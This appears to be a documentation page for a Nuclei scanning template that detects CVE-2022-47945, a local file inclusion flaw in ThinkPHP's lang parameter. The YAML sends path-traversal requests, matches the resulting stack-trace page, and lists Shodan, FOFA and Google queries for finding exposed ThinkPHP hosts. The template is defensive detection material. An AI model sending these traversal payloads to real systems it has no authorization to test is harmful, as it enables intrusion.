Skip to content
Nuclei Templates

Thinkphp Lang - Local File Inclusion

ID: CVE-2022-47945

Severity: critical

Author: kagamigawa

Tags: cve,cve2022,thinkphp,lfi

Description

Section titled “Description”

ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.

YAML Source

Section titled “YAML Source”
id: CVE-2022-47945


info:
  name: Thinkphp Lang - Local File Inclusion
  author: kagamigawa
  severity: critical
  description: |
    ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    Apply the latest security patches and updates provided by the Thinkphp framework.
  reference:
    - https://tttang.com/archive/1865/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47945
    - https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
    - https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47945
    cwe-id: CWE-22
    epss-score: 0.04137
    epss-percentile: 0.92167
    cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thinkphp
    product: thinkphp
    shodan-query:
      - title:"Thinkphp"
      - http.title:"thinkphp"
      - cpe:"cpe:2.3:a:thinkphp:thinkphp"
    fofa-query:
      - header="think_lang"
      - title="thinkphp"
    google-query: intitle:"thinkphp"
  tags: cve,cve2022,thinkphp,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/?lang=../../thinkphp/base"
      - "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Call Stack'
          - 'class="trace'
        condition: and


      - type: status
        status:
          - 500
# digest: 4b0a004830460221008ce9daf7d8e77381165878117e77a2f96ad904cce304d79b0ecdd63b12a77e71022100cdf11b17aa3e520f90256bb07d526ffba6aad60a3a926d2b005d39134e10004b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-47945.yaml"

View on Github